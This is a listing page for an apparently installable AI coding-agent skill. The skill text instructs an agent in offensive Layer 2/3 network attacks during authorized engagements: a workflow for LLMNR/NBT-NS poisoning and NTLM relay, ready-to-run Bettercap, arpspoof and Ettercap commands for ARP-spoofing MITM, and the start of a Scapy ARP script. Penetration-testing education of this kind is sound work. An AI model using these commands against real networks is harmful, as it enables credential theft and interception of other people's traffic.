
Offensive Network Attacks
Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning...
Install
npx skills add SnailSploit/Claude-Red --skill offensive-network-attacks -g -a claude-code -y- Repository
- SnailSploit/Claude-Red10.2k
- Category
- Testing
- Updated
- 23d ago
- License
- MIT
- Context cost
- Mediumabout 3,000 tokens
- Runs scripts
- No, instructions only
What it does
Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040. Use when conducting internal network assessments or testing Layer 2/3 attack surface.
Network Attacks (Layer 2/3) -- Offensive Methodology
You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.
Quick Workflow
- Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
- Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
- Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
- Enable Responder poisoning to capture NTLMv2 hashes.
- Relay captured hashes with ntlmrelayx against hosts without SMB signing.
- ARP spoof the gateway for targeted MITM and credential interception.
- Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
- Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.
ARP Spoofing
ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.
Bettercap ARP Module
sudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof on
arpspoof and Ettercap
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)
# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1// # with filter
Gratuitous ARP with Scapy
from scapy.all import Ether, ARP, sendp
import time


